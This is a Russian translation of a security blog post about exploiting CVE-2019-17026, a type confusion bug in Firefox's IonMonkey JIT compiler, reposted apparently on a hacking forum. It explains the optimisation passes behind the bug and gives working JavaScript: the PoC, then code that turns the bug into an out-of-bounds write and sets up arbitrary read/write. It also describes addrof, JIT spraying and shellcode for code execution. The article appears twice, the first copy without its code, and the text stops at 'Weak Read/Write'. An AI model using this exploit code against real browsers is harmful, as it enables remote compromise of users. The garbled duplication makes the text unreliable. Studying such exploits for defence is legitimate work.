Эксплуатация браузера - невероятно уникальная область исследования безопасности. Поскольку браузеры постоянно развиваются для поддержки новых носителей и протоколов, поверхность их атак постоянно меняется. Даже сами движки JavaScript продолжают улучшаться. После того, как Google проложил путь для JIT-компиляции и выполнения JavaScript с гораздо большей скоростью, другие современные браузеры начали добавлять эту технику, чтобы конкурировать. Это привело к тому, что эти механизмы содержат собственные оптимизирующие компиляторы, выполняющие сложный анализ кода, чтобы сократить его до необходимых инструкций, и делать веб-приложения быстрее, чем считалось ранее. Однако JIT-компиляцию сложно сделать правильно, особенно при работе с одним из самых динамичных языков, которые когда-либо существовали, и поэтому она стала одной из самых больших тенденций в исследованиях браузеров.
Еще в мае я написал еще одну запись в блоге об уязвимости Internet Explorer (CVE-2020-0674).
Первоначально она была обнаружен Qihoo 360 вместе со второй уязвимостью (CVE-2019-17026), нацеленной на JIT-движок Firefox Spidermonkey (IonMonkey). Это сообщение в блоге предназначено для анализа первопричины и обсуждения того, как злоумышленник может использовать этот класс уязвимости.
Основы IonMonkey
SpiderMonkey использует JIT-компилятор IonMonkey, который преобразует код JavaScript в скомпилированный код для более быстрой работы. Однако простого перехода в машинный код недостаточно для значительного повышения производительности. Оптимизация и определение типов используются для сокращения машинного кода до только основных инструкций, заставляя браузер действовать как оптимизирующий компилятор.
IonMonkey делает это, выполняя несколько шагов, как показано ниже:
Обзор уязвимости
Mozilla перечислила уязвимость под названием IonMonkey путаница типов с StoreElementHole и FallibleStoreElement с описанием:
На момент написания отчет об ошибке рассекречен и содержит сокращенный POC, как показано ниже:
Читая патч, он показывает, что два файла были изменены:
Основное внимание уделяется изменениям кода MIR. И MStoreElementHole, и MFallibleStoreElement больше не переопределяют метод getAliasSet и не возвращают AliasSet::Store(AliasSet::ObjectFields | AliasSet::Element). Взглянув на метод getAliasSet по умолчанию в StoreDependency (родительский класс MStoreElementHole), вы увидите, что вместо этого он возвращает AliasSet::Store(AliasSet::Any);
Анализ псевдонимов
0vercl0k провел невероятно тщательный writeup, как работают два этапа оптимизации (анализ псевдонимов и глобальная нумерация значений), выступая в качестве недостающей документации, необходимой Mozilla. Таким образом, в этом посте я буду обсуждать точку зрения более высокого уровня, чтобы помочь читателям, которые не знакомы с теорией компиляторов и типами оптимизаций, которые происходят. Для получения дополнительной информации о том, как работают эти два этапа, настоятельно рекомендуется прочитать это сообщение в блоге, чтобы дополнить общее представление в этом сообщении.
Анализ псевдонимов - это процесс выявления зависимостей от инструкций загрузки и инструкций сохранения. Это можно использовать на более поздних этапах для удаления избыточного кода. Алгоритм анализа псевдонимов относительно тривиален и определяет зависимости, просматривая инструкции MIR:
Чтобы лучше проиллюстрировать это, рассмотрим следующий код JavaScript:
Эта функция разбита на несколько инструкций MIR:
После завершения анализа псевдонимов между loadfixedslot7 и deleteproperty6 была создана только одна зависимость. Это связано с тем, что существовала только одна инструкция AliasSet::Load, а самым последним узлом, удовлетворяющим всем трем предыдущим условиям, является узел deleteproperty6.
Глобальная нумерация значений
Хотя на этапе анализа псевдонима возникает уязвимость, именно этап глобальной нумерации значений делает эту ошибку уязвимой. Рассмотрим следующий код:
Инструкции MIR будут следующими:
Как видно из вышеприведенных узлов, свойство 'a' выбирается дважды (операции 9 и 12), что кажется избыточным. В этом цель GVN; для выявления и устранения определенных избыточностей. Чтобы пройти через это, вот к чему сводится MIR после прохождения GVN:
Ключевым моментом здесь является то, что операция 12 (второй loadfixedslot) была удалена.
GVN работает, позволяя каждому узлу MIR отменять две функции:
Для того, чтобы два узла были соответсвующими, оба узла должны возвращать одно и то же значение из своих соответствующих функций congruentTo при передаче другому узлу. Однако соответствие проверяется только в том случае, если оба узла зависят от одного и того же узла (результат этапа анализа псевдонимов). Что касается предыдущего примера, оба узла loadfixedslot зависели от start4.
Вам также может быть интересно, почему был удален второй loadfixedslot, но не второй storefixedslot, учитывая, что два storefixedslot в одном индексе могут показаться избыточными. Ответ на это кроется в функции congruentTo для MstoreFixedSlot. Этот узел не отменяет функцию congruentTo по умолчанию и поэтому вместо нее использует MDefinition::congruentTo, который просто возвращает false.
Более интересный и актуальный пример - как обрабатываются элементы массива.
Приведенный выше код дает следующий код MIR:
После того, как процесс GVN происходит, остаются следующие узлы:
Многие узлы были удалены во время фазы GVN, однако есть один, который особенно интересен: MBoundsCheck, узел, отвечающий за обеспечение того, чтобы индекс находился в границах данного массива. Поскольку оба узла MBoundsCheck зависели от start5, их функции congruentTo были запущены. Это проверяет, относятся ли оба узла к типу MBoundsCheck, проверяют ли оба одинаковые минимальное и максимальное значения, и что либо оба имеют ошибки, либо оба являются безошибочными инструкциями. Это гарантирует, что оба узла MBoundsCheck одинаковы и, следовательно, второй является избыточным и может быть удален; процесс, известный как исключение проверки границ.
Здесь важно отметить, что обе проверки границ могут выполняться только congruentTo, если они зависят от одного и того же узла. В этом случае это означает, что первый узел MStoreElement воспринимается JIT-компилятором как не имеющий побочных эффектов. Если бы можно было вызвать побочные эффекты с этим узлом, а MCheckBounds по-прежнему был бы исключен, тогда побочный эффект можно было бы использовать для уменьшения размера массива, что могло бы привести к доступу за пределы, когда хранилище имеет место. В этом суть использования этой уязвимости. Фактически, устранение проверки границ стало настолько широко использоваться в JIT-эксплуатации, что разработчики V8 решили удалить исключение полностью, чтобы защитить движок от злонамеренного использования.
Пересмотр PoCа
Итак, давайте еще раз взглянем на проверочный код, но на этот раз обозначим, что происходит:
В этом POC есть несколько интересных аспектов.
Во-первых, это использование инициализации разреженного массива arr2. При инициализации как плотный массив вместо этого проверка границ не удаляется, поскольку она обрабатывается как зависимая от узла MstoreElementHole. Это сводится к тому, как обрабатывается глобальный массив, когда он инициализируется как плотный и когда инициализируется как разреженный.
Возьмем, например, следующий код:
Уменьшенный код MIR (до прохождения GVN) выглядит следующим образом:
После прохождения GVN проверка границ в инструкции 29 не отменяется. Это связано с тем, что узел MInitializedLength на 28 теперь зависит от узла MStoreElementHole в инструкции 23.
Однако сначала измените переменную, чтобы она была инициализирована как разреженная с [1,, 3], и будет сгенерирован следующий сокращенный MIR:
После появления GVN третий MBoundsCheck вместо этого удаляется.
Как оказалось, глобальный массив, который создается как разреженный массив, либо с буквальным синтаксисом, либо через новый массив (размер), вместо этого выбирается из слотов глобального объекта, а не используется непосредственно как константа. Это оказывает влияние на третий узел MBoundsCheck, поскольку корневой объект, с которым работает MStoreElement, отображается как MLoadSlot, а корневой объект MInitializedLength (используемый MBoundsCheck) является узлом MConstant (Array). Поскольку MLoadSlot и MConstant не пересекают TypeSets, их нельзя рассматривать как сглаживание. В результате третий узел MBoundsCheck становится зависимым от MStart, как и первый MBoundsCheck, и поэтому удаляется.
Второй интересный аспект - это использование индекса -1 вместо какого-либо другого большого целого числа. Причина этого в том, что узел MIR, который используется для установки элемента, когда в массиве есть средство получения или установки для допустимого индекса массива, больше не является узлом MStoreElementHole, а является узлом MSetPropertyCache, в результате чего уязвимость не существует. Использование значения -1 вместо этого добавляет установщик для отдельного свойства, а не для элементов, что означает, что MStoreElementHole все еще будет существовать в графе. Это также имеет дополнительное преимущество в том, что он находится в диапазоне Int32, что позволяет ему проходить различные условия JIT и достигать MstoreElementHole. Поскольку -1 на самом деле обрабатывается MStoreElementHole как имя свойства, а не индекс элемента, побочные эффекты могут фактически запускаться из этого узла, что приводит к уязвимости JIT.
Примитивы эксплоита
Большинство уязвимостей Firefox, как правило, получают примитив чтения/записи из ArrayBuffer, манипулируя указателем буфера данных, и предыдущие эксплойты для этих видов ошибок полагались на многократные попытки распыления объектов, чтобы увеличить вероятность того, что один из них будет записан. Поскольку изучение различных вариантов является сутью исследования безопасности, я хотел попробовать другой подход к эксплуатации этой уязвимости, а именно: манипулирование обычным массивом для создания надежных примитивов без необходимости распыления.
Для v8 управлять обычным массивом довольно просто, поскольку массивы хранятся по-разному в зависимости от их элементов. Массив, содержащий только двойные значения, будет хранить только двойные значения в элементах массива, а массив, содержащий только целые числа, будет хранить каждый элемент как 4-байтовое целое число (таким образом, сохраняя 4 байта на элемент). Если массив содержит объект, он становится массивом смешанного типа, что означает, что каждое значение помечено, чтобы позволить дублям, указателям и целым числам быть представлены встроенными (вместо, например, хранения дубля как указателя на двойной объект и, таким образом, весь массив элементов содержит только указатели). Из-за этого мы могли бы использовать смешение типов между типами хранения массивов, чтобы читать указатель как двойное значение, или рассматривать двойное значение как указатель, что приводило бы к тривиальным способам создания примитивов. Однако SpiderMonkey не разделяет массивы по типам, которые они хранят. Вместо этого каждый элемент автоматически помечается (помечается NaN-boxed). Это означает, что примитивы addrof и чтения/записи должны быть сконструированы по-другому, чтобы учесть это.
Обзор массива
Начнем с основ работы с массивами. Когда массив создается, он выглядит так в памяти:
Массив представлен JSObject, как и другие объекты. JSObject содержит три свойства, которые будут иметь отношение к построению примитивов:
Когда мы устанавливаем меньшую длину массива, указатель элементов остается прежним (другими словами, он не перераспределяется).
Однако выделение дополнительных объектов не приведет к их расположению в конце уменьшенного массива, а вместо этого в конце всего исходного массива элементов. Это связано с тем, что емкость массива остается прежней и, таким образом, все еще доступна для использования массивом.
И наоборот, расширение массива элементов сверх того, что было изначально выделено, приведет к расширению всего массива элементов:
Выход за границы
Как обсуждалось ранее, побочный эффект установщика свойств в сочетании с устранением проверки границ при доступе к массиву разрешает доступ за пределы. Однако на приведенной выше диаграмме было показано, что установка меньшего числа для длины массива все равно будет означать, что емкость массива останется прежней. Следовательно, доступ за пределы будет по-прежнему находиться в границах всего выделенного диапазона массива элементов и, таким образом, не позволит записи в любое значимое место.
Чтобы обойти эту проблему, во время выполнения функции побочного эффекта используется сборщик мусора, чтобы вызвать перераспределение.
Если бы были выделены два массива одинакового размера, скорее всего, они были бы размещены рядом друг с другом в одном и том же дочернем блоке:
Как только длина обоих будет уменьшена, в памяти это будет выглядеть так:
Если бы сборщик мусора запускался во время выполнения функции побочного эффекта, эти два массива снова были бы перераспределены:
Когда запускается доступ за пределами границы, доступ к местоположению теперь находится в диапазоне этого второго массива:
Отсюда можно манипулировать любыми указателями в JSObject, чтобы указывать на произвольные области. Однако, поскольку это редактирование происходит во время функции побочного эффекта, оно недостаточно стабильно для дальнейшего использования. Поэтому выбран альтернативный путь. Вместо того, чтобы использовать первый массив для воздействия на указатели JSObject, имеет больше смысла управлять емкостью, длиной и инициализированной длиной этого второго массива, что позволяет стабильно и повторяемо читать и записывать за пределами границ во все, что следует за второй массив. Чтобы второй массив имел полезную информацию после него, третий массив используется так же, как и два других (сбрасывая их длину во время функции побочного эффекта). Этот третий массив теперь можно свободно изменять, записывая в него дубли из второго массива.
Эксплуатация этого в JavaScript будет следующим:
После выполнения этого указателя слотов третьего массива (rw_arr) можно получить доступ с помощью setter_arr [8] и указателя элементов в setter_arr [9].
Weak Read/Write
На этом этапе можно создать слабый примитив чтения/записи, используя указатель слотов rw_arr. Если бы rw_arr имел единственное свойство, указанное в его форме, то установка указателя слотов на произвольные адреса позволила бы им считываться как двойные, обращаясь к этому свойству, и записывать, перезаписывая его двойным значением.
Например, после запуска rw_arr.x = 0 компоновка объекта будет выглядеть так:
Как только это будет сделано, указатель свойства может быть изменен, в результате чего свойство x будет использоваться для чтения и записи по произвольным адресам:
Это написано на JavaScript следующим образом:
Однако это считается слабым примитивом, так как его можно использовать только для чтения немаркированных указателей, например, в JSObject. Если бы значение по адресу содержало правильные значения в наиболее значимых битах, то его можно было бы рассматривать как указатель на объект, а не как двойное значение, что привело бы к сбою программы при разыменовании объекта. Точно так же примитив записи не может легко записывать значения с тегами, поскольку они не могут быть выражены как двойные.
Даже в этом случае эти слабые примитивы на самом деле могут быть невероятно мощными.
Слабый Addrof
Одним из основных примитивов, которые могут быть созданы в эксплойтах JS, является примитив addrof, который, как следует из названия, получает адрес объекта. Прежде чем можно будет построить примитив строгого чтения, этот примитив необходим. К сожалению, поскольку примитив слабого чтения не может читать помеченные значения, чтение адреса целевого объекта из свойства не так просто. Эту проблему можно обойти с помощью трех свойств.
Если бы rw_arr имел три свойства (x, y и z), массив слотов выглядел бы следующим образом:
Если бы свойство y было назначено целевому объекту для вызова addrof, это выглядело бы так (отображалось так, как оно находится в памяти, без учета порядка байтов с прямым порядком байтов):
Теперь при перемещении указателя слота на 4 байта свойства изменяются:
В этот момент наиболее значимые биты адреса объекта (который также включает тег) могут быть прочитаны как двойное значение (поскольку новый тег равен нулю и, следовательно, находится в допустимом диапазоне двойного значения).
Обратите внимание, что тег для свойства x также находится в диапазоне двойного значения и, таким образом, может быть прочитан как двойной, а младшие значащие биты могут быть взяты с помощью ArrayBuffer для преобразования его между представлениями. Полный код этого примитива довольно прост:
Те, у кого зоркий глаз, вероятно, будут интересоваться, что бы произошло, если бы 4 наименее значимых байта адреса объекта оказались в пределах диапазона тега объекта. В этом случае программа выйдет из строя из-за характера слабого чтения. Поэтому немного более длинная версия этого, но, безусловно, более надежная, состоит в том, чтобы установить наиболее значимые биты адреса объекта на 0 (используя двойное значение, для которого это так) и сдвинуть указатель слотов обратно на его исходная позиция, чтобы наименее значимые байты можно было прочитать как двойные значения без риска сбоя:
Сильное чтение
Позже произойдет JIT-спрей, и этот JIT-код нужно будет прочитать, чтобы найти смещение для шелл-кода. Некоторые места в этом JIT-коде содержат значения, которые примитив слабого чтения будет рассматривать как объекты. Следовательно, требуется более сильный примитив чтения. Для создания этого примитива необходимо использовать объект, который может свободно читать и записывать указатели как дубликаты без использования NaN-boxing, вызывающего проблемы. Float64Array идеально подходит под эти критерии:
Адрес этого объекта может быть получен с помощью примитива addrof, к нему может быть добавлено смещение указателя буфера, а затем он может использоваться с примитивом слабой записи для указания на произвольные адреса. Затем их можно прочитать с помощью объекта Float64Array:
На этом этапе требуется способ вызвать выполнение кода. Один из самых популярных способов сделать это при эксплуатации современных браузеров - это манипулирование JIT-кодом. Поскольку JIT-код генерируется из пользовательского кода, он в некоторой степени находится под контролем злоумышленника. В v8 распространенным методом является простое следование указателям от объекта WASM для достижения некоторого JIT-скомпилированного кода. Этот сегмент помечен как чтение/запись/выполнение и поэтому может быть перезаписан злоумышленником. SpiderMonkey, однако, помечает страницы JIT как чтение/запись при копировании кода JIT, а затем чтение/выполнение, как только это будет сделано, что означает, что злоумышленник не может записать свой собственный код в этот сегмент.
Чтобы решить эту проблему, используйте JIT-распыление. Этот метод включает использование постоянных значений (например, целых и двойных) для генерации шелл-кода в этом сегменте, а затем редактирование указателя страницы JIT в объекте функции, чтобы он указывал на эти постоянные значения, которые впоследствии обрабатываются как код.
В экземпляре Firefox без тестовой среды этот шеллкод инициирует открытие xcalc:
Примечания к побегу из песочницы
CVE-2019-17026 использует процесс рендеринга, поэтому описанный выше эксплойт выполняется в браузере без тестовой среды. Чтобы этот эксплойт был эффективным в сценарии реального мира, необходимо выйти из песочницы, что потребует второй уязвимости. На мой взгляд, самая интересная часть этой цепочки эксплойтов - это то, как злоумышленники покинули песочницу. Хотя Internet Explorer не совсем обычная цель для APT в современную эпоху, есть вероятность, что это может быть просто побочным эффектом их выхода из песочницы, которая использовала уязвимость IE для выполнения кода через WPAD, что означает, что один баг может использоваться дважды для запуска в виде полной цепочки или один раз для выхода из песочницы Firefox.
Заключительные примечания
Что интересно в уязвимостях, используемых этой группой (CVE-2020-0674 и CVE-2019-17026), так это то, что это оба варианта ошибок, которые были раскрыты публично. CVE-2020-0674 является вариантом как CVE-2019-1367, так и CVE-2019-1429, а CVE-2019-17026 является вариантом класса ошибок CVE-2019-9810. Это говорит о том, что некоторые злоумышленники на самом деле неоднократно используют методологии вариантного анализа для успешного выявления похожих ошибок.
Источник: https://labs.f-secure.com/blog/exploiting-cve-2019-17026-a-firefox-jit-bug/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
Еще в мае я написал еще одну запись в блоге об уязвимости Internet Explorer (CVE-2020-0674).
Первоначально она была обнаружен Qihoo 360 вместе со второй уязвимостью (CVE-2019-17026), нацеленной на JIT-движок Firefox Spidermonkey (IonMonkey). Это сообщение в блоге предназначено для анализа первопричины и обсуждения того, как злоумышленник может использовать этот класс уязвимости.
Основы IonMonkey
SpiderMonkey использует JIT-компилятор IonMonkey, который преобразует код JavaScript в скомпилированный код для более быстрой работы. Однако простого перехода в машинный код недостаточно для значительного повышения производительности. Оптимизация и определение типов используются для сокращения машинного кода до только основных инструкций, заставляя браузер действовать как оптимизирующий компилятор.
IonMonkey делает это, выполняя несколько шагов, как показано ниже:
Обзор уязвимости
Mozilla перечислила уязвимость под названием IonMonkey путаница типов с StoreElementHole и FallibleStoreElement с описанием:
На момент написания отчет об ошибке рассекречен и содержит сокращенный POC, как показано ниже:
JavaScript:
let arr1 = [];
let arr2 = [1.1, 2.2, , 4.4];
arr2.__defineSetter__("-1", function(x) {
delete arr1.x;
});
{
function f(b, index) {
let ai = {};
let aT = {};
arr1.x = ai;
if (b)
arr1.x = aT;
arr2[index] = 1.1;
arr1.x.x4 = 0;
}
delete arr1.x;
for (let i = 0; i < 0x1000; i++) {
arr2.length = 4;
f((i & 1) === 1, 5);
}
f(true, -1);
}Читая патч, он показывает, что два файла были изменены:
Основное внимание уделяется изменениям кода MIR. И MStoreElementHole, и MFallibleStoreElement больше не переопределяют метод getAliasSet и не возвращают AliasSet::Store(AliasSet::ObjectFields | AliasSet::Element). Взглянув на метод getAliasSet по умолчанию в StoreDependency (родительский класс MStoreElementHole), вы увидите, что вместо этого он возвращает AliasSet::Store(AliasSet::Any);
Анализ псевдонимов
0vercl0k провел невероятно тщательный writeup, как работают два этапа оптимизации (анализ псевдонимов и глобальная нумерация значений), выступая в качестве недостающей документации, необходимой Mozilla. Таким образом, в этом посте я буду обсуждать точку зрения более высокого уровня, чтобы помочь читателям, которые не знакомы с теорией компиляторов и типами оптимизаций, которые происходят. Для получения дополнительной информации о том, как работают эти два этапа, настоятельно рекомендуется прочитать это сообщение в блоге, чтобы дополнить общее представление в этом сообщении.
Анализ псевдонимов - это процесс выявления зависимостей от инструкций загрузки и инструкций сохранения. Это можно использовать на более поздних этапах для удаления избыточного кода. Алгоритм анализа псевдонимов относительно тривиален и определяет зависимости, просматривая инструкции MIR:
Чтобы лучше проиллюстрировать это, рассмотрим следующий код JavaScript:
Эта функция разбита на несколько инструкций MIR:
| JavaScript Line | MIR Node ID | MIR Instruction | Store/Load/Any/None | Aliases | Dependencies |
| jit(obj_1, obj_2) | 1 | MParameter 0 | AliasSet::Any | - | - |
| jit(obj_1, obj_2) | 2 | MParameter 1 | AliasSet::Any | - | - |
| - | 3 | MStart | AliasSet::Any | - | - |
| - | 4 | MCheckOverrecursed | AliasSet::None | - | - |
| return obj_2.y | 5 | MUnbox parameter 2 | AliasSet::None | - | - |
| delete obj_1.x | 6 | MDeleteProperty parameter1:Value | AliasSet::Any | - | - |
| return obj_2.y | 7 | MLoadFixedSlot unbox5 | AliasSet::Load | AliasSet::FixedSlot | deleteproperty6 |
| return obj_2.y | 8 | MBox loadfixedslot7 | AliasSet::None | - | - |
| return obj_2.y | 9 | MReturn box8:Value | AliasSet::None | - | - |
После завершения анализа псевдонимов между loadfixedslot7 и deleteproperty6 была создана только одна зависимость. Это связано с тем, что существовала только одна инструкция AliasSet::Load, а самым последним узлом, удовлетворяющим всем трем предыдущим условиям, является узел deleteproperty6.
Глобальная нумерация значений
Хотя на этапе анализа псевдонима возникает уязвимость, именно этап глобальной нумерации значений делает эту ошибку уязвимой. Рассмотрим следующий код:
Инструкции MIR будут следующими:
Как видно из вышеприведенных узлов, свойство 'a' выбирается дважды (операции 9 и 12), что кажется избыточным. В этом цель GVN; для выявления и устранения определенных избыточностей. Чтобы пройти через это, вот к чему сводится MIR после прохождения GVN:
Ключевым моментом здесь является то, что операция 12 (второй loadfixedslot) была удалена.
GVN работает, позволяя каждому узлу MIR отменять две функции:
Для того, чтобы два узла были соответсвующими, оба узла должны возвращать одно и то же значение из своих соответствующих функций congruentTo при передаче другому узлу. Однако соответствие проверяется только в том случае, если оба узла зависят от одного и того же узла (результат этапа анализа псевдонимов). Что касается предыдущего примера, оба узла loadfixedslot зависели от start4.
Вам также может быть интересно, почему был удален второй loadfixedslot, но не второй storefixedslot, учитывая, что два storefixedslot в одном индексе могут показаться избыточными. Ответ на это кроется в функции congruentTo для MstoreFixedSlot. Этот узел не отменяет функцию congruentTo по умолчанию и поэтому вместо нее использует MDefinition::congruentTo, который просто возвращает false.
Более интересный и актуальный пример - как обрабатываются элементы массива.
JavaScript:
a = [1, 2];
function store(index, val) {
a[index] = val;
a[index] = val;
}Приведенный выше код дает следующий код MIR:
После того, как процесс GVN происходит, остаются следующие узлы:
Многие узлы были удалены во время фазы GVN, однако есть один, который особенно интересен: MBoundsCheck, узел, отвечающий за обеспечение того, чтобы индекс находился в границах данного массива. Поскольку оба узла MBoundsCheck зависели от start5, их функции congruentTo были запущены. Это проверяет, относятся ли оба узла к типу MBoundsCheck, проверяют ли оба одинаковые минимальное и максимальное значения, и что либо оба имеют ошибки, либо оба являются безошибочными инструкциями. Это гарантирует, что оба узла MBoundsCheck одинаковы и, следовательно, второй является избыточным и может быть удален; процесс, известный как исключение проверки границ.
Здесь важно отметить, что обе проверки границ могут выполняться только congruentTo, если они зависят от одного и того же узла. В этом случае это означает, что первый узел MStoreElement воспринимается JIT-компилятором как не имеющий побочных эффектов. Если бы можно было вызвать побочные эффекты с этим узлом, а MCheckBounds по-прежнему был бы исключен, тогда побочный эффект можно было бы использовать для уменьшения размера массива, что могло бы привести к доступу за пределы, когда хранилище имеет место. В этом суть использования этой уязвимости. Фактически, устранение проверки границ стало настолько широко использоваться в JIT-эксплуатации, что разработчики V8 решили удалить исключение полностью, чтобы защитить движок от злонамеренного использования.
Пересмотр PoCа
Итак, давайте еще раз взглянем на проверочный код, но на этот раз обозначим, что происходит:
JavaScript:
let arr1 = []; // Create a victim array to be manipulated
let arr2 = [1.1, 2.2, , 4.4]; // Create the array that will cause the side effects
arr2.__defineSetter__("-1", function(x) { // Set the side-effect for the index -1
delete arr1.x; // Delete the property x of the victim array
});
{
function f(b, index) {
let ai = {}; // Create one object
let aT = {}; // Create a second object
arr1.x = ai; // Assign property x in the victim array to the first object
if (b) // Every other run...
arr1.x = aT; // Assign property x in the victim array to the second object - This is likely done to prevent object assignments being inlined and allow property x to be cached
arr2[index] = 1.1; // Perform side-effect execution using MStoreElementHole
arr1.x.x4 = 0; // Dereference the object from the inline cache, which now doesn't exist, causing a crash
}
delete arr1.x; // Start by deleting property x in the victim array - This should change the shape of arr1 to one with a property x
for (let i = 0; i < 0x1000; i++) { // JIT the function
arr2.length = 4; // Reset the array length to 4 so that arr2[index] is still writing to a hole
f((i & 1) === 1, 5); // Call the function that will be JIT'd, but alternating the first arguments between true and false
}
f(true, -1); // Finally, run the function with the first parameter as true, and the second as a number that will trigger the side effects. Since the type of index is expected to be an int32, -1 still works
}В этом POC есть несколько интересных аспектов.
Во-первых, это использование инициализации разреженного массива arr2. При инициализации как плотный массив вместо этого проверка границ не удаляется, поскольку она обрабатывается как зависимая от узла MstoreElementHole. Это сводится к тому, как обрабатывается глобальный массив, когда он инициализируется как плотный и когда инициализируется как разреженный.
Возьмем, например, следующий код:
JavaScript:
first = [1, 2, 3];
second = [1, 2, 3];
function jit(oob_index, ib_index) {
second[ib_index] = 1
first[oob_index] = 1;
second[ib_ndex] = 2
}Уменьшенный код MIR (до прохождения GVN) выглядит следующим образом:
После прохождения GVN проверка границ в инструкции 29 не отменяется. Это связано с тем, что узел MInitializedLength на 28 теперь зависит от узла MStoreElementHole в инструкции 23.
Однако сначала измените переменную, чтобы она была инициализирована как разреженная с [1,, 3], и будет сгенерирован следующий сокращенный MIR:
После появления GVN третий MBoundsCheck вместо этого удаляется.
Как оказалось, глобальный массив, который создается как разреженный массив, либо с буквальным синтаксисом, либо через новый массив (размер), вместо этого выбирается из слотов глобального объекта, а не используется непосредственно как константа. Это оказывает влияние на третий узел MBoundsCheck, поскольку корневой объект, с которым работает MStoreElement, отображается как MLoadSlot, а корневой объект MInitializedLength (используемый MBoundsCheck) является узлом MConstant (Array). Поскольку MLoadSlot и MConstant не пересекают TypeSets, их нельзя рассматривать как сглаживание. В результате третий узел MBoundsCheck становится зависимым от MStart, как и первый MBoundsCheck, и поэтому удаляется.
Второй интересный аспект - это использование индекса -1 вместо какого-либо другого большого целого числа. Причина этого в том, что узел MIR, который используется для установки элемента, когда в массиве есть средство получения или установки для допустимого индекса массива, больше не является узлом MStoreElementHole, а является узлом MSetPropertyCache, в результате чего уязвимость не существует. Использование значения -1 вместо этого добавляет установщик для отдельного свойства, а не для элементов, что означает, что MStoreElementHole все еще будет существовать в графе. Это также имеет дополнительное преимущество в том, что он находится в диапазоне Int32, что позволяет ему проходить различные условия JIT и достигать MstoreElementHole. Поскольку -1 на самом деле обрабатывается MStoreElementHole как имя свойства, а не индекс элемента, побочные эффекты могут фактически запускаться из этого узла, что приводит к уязвимости JIT.
Примитивы эксплоита
Большинство уязвимостей Firefox, как правило, получают примитив чтения/записи из ArrayBuffer, манипулируя указателем буфера данных, и предыдущие эксплойты для этих видов ошибок полагались на многократные попытки распыления объектов, чтобы увеличить вероятность того, что один из них будет записан. Поскольку изучение различных вариантов является сутью исследования безопасности, я хотел попробовать другой подход к эксплуатации этой уязвимости, а именно: манипулирование обычным массивом для создания надежных примитивов без необходимости распыления.
Для v8 управлять обычным массивом довольно просто, поскольку массивы хранятся по-разному в зависимости от их элементов. Массив, содержащий только двойные значения, будет хранить только двойные значения в элементах массива, а массив, содержащий только целые числа, будет хранить каждый элемент как 4-байтовое целое число (таким образом, сохраняя 4 байта на элемент). Если массив содержит объект, он становится массивом смешанного типа, что означает, что каждое значение помечено, чтобы позволить дублям, указателям и целым числам быть представлены встроенными (вместо, например, хранения дубля как указателя на двойной объект и, таким образом, весь массив элементов содержит только указатели). Из-за этого мы могли бы использовать смешение типов между типами хранения массивов, чтобы читать указатель как двойное значение, или рассматривать двойное значение как указатель, что приводило бы к тривиальным способам создания примитивов. Однако SpiderMonkey не разделяет массивы по типам, которые они хранят. Вместо этого каждый элемент автоматически помечается (помечается NaN-boxed). Это означает, что примитивы addrof и чтения/записи должны быть сконструированы по-другому, чтобы учесть это.
Обзор массива
Начнем с основ работы с массивами. Когда массив создается, он выглядит так в памяти:
Массив представлен JSObject, как и другие объекты. JSObject содержит три свойства, которые будут иметь отношение к построению примитивов:
Когда мы устанавливаем меньшую длину массива, указатель элементов остается прежним (другими словами, он не перераспределяется).
Однако выделение дополнительных объектов не приведет к их расположению в конце уменьшенного массива, а вместо этого в конце всего исходного массива элементов. Это связано с тем, что емкость массива остается прежней и, таким образом, все еще доступна для использования массивом.
И наоборот, расширение массива элементов сверх того, что было изначально выделено, приведет к расширению всего массива элементов:
Выход за границы
Как обсуждалось ранее, побочный эффект установщика свойств в сочетании с устранением проверки границ при доступе к массиву разрешает доступ за пределы. Однако на приведенной выше диаграмме было показано, что установка меньшего числа для длины массива все равно будет означать, что емкость массива останется прежней. Следовательно, доступ за пределы будет по-прежнему находиться в границах всего выделенного диапазона массива элементов и, таким образом, не позволит записи в любое значимое место.
Чтобы обойти эту проблему, во время выполнения функции побочного эффекта используется сборщик мусора, чтобы вызвать перераспределение.
Если бы были выделены два массива одинакового размера, скорее всего, они были бы размещены рядом друг с другом в одном и том же дочернем блоке:
Как только длина обоих будет уменьшена, в памяти это будет выглядеть так:
Если бы сборщик мусора запускался во время выполнения функции побочного эффекта, эти два массива снова были бы перераспределены:
Когда запускается доступ за пределами границы, доступ к местоположению теперь находится в диапазоне этого второго массива:
Отсюда можно манипулировать любыми указателями в JSObject, чтобы указывать на произвольные области. Однако, поскольку это редактирование происходит во время функции побочного эффекта, оно недостаточно стабильно для дальнейшего использования. Поэтому выбран альтернативный путь. Вместо того, чтобы использовать первый массив для воздействия на указатели JSObject, имеет больше смысла управлять емкостью, длиной и инициализированной длиной этого второго массива, что позволяет стабильно и повторяемо читать и записывать за пределами границ во все, что следует за второй массив. Чтобы второй массив имел полезную информацию после него, третий массив используется так же, как и два других (сбрасывая их длину во время функции побочного эффекта). Этот третий массив теперь можно свободно изменять, записывая в него дубли из второго массива.
Эксплуатация этого в JavaScript будет следующим:
JavaScript:
oob_arr = [1.1, 1.2, , 1.4]; // This is used to trigger the side effect. It's not in the above diagram
victim = new Array(0x20); // This array will have its length set to zero so it can write over the capacity/length values of setter_arr
setter_arr = new Array(0x20); // This array will be used to read and set pointers reliably and repeatably in rw_arr
rw_arr = new Array(0x20); // Used for arbitrary reads and writes
// Side effects
oob_arr.__defineSetter__("-1", function(x) {
console.log("[+] Side Effects reached");
victim.length = 0;
setter_arr.length = 0;
rw_arr.length = 0;
gc();
});
// Call the GC - Phoenhex's function
function gc() {
const maxMallocBytes=128*1024*1024; // 128m
for (var i =0; i <3; i++) {
var x = new ArrayBuffer(maxMallocBytes); // Allocate locally, but don't save
}
}
// Exploit
function jitme(index, in2, in3) {
// Removes future bounds checks with GVN
victim[in2] = 4.2;
victim[in2 - 1] = 4.2;
// Triggers the side-effect function
oob_arr[index] = 2.2;
// Write out-of-bounds
victim[in2] = in3; // capacity and length
victim[in2 - 1] = 2.673714696616e-312; // initLength and flags
}
// JIT the exploit
for(i=0;i<0x10000;i++) {
oob_arr.length = 4; // Reset the length so that the StoreElementHole node is used
jitme(5, 11, 2.67371469724e-312);
}
oob_arr.length = 4; // Reset the length one more time
jitme(-1, 11, 2.67371469724e-312); // Call the jitted function with the side-effect index (-1)После выполнения этого указателя слотов третьего массива (rw_arr) можно получить доступ с помощью setter_arr [8] и указателя элементов в setter_arr [9].
Weak Read/Write
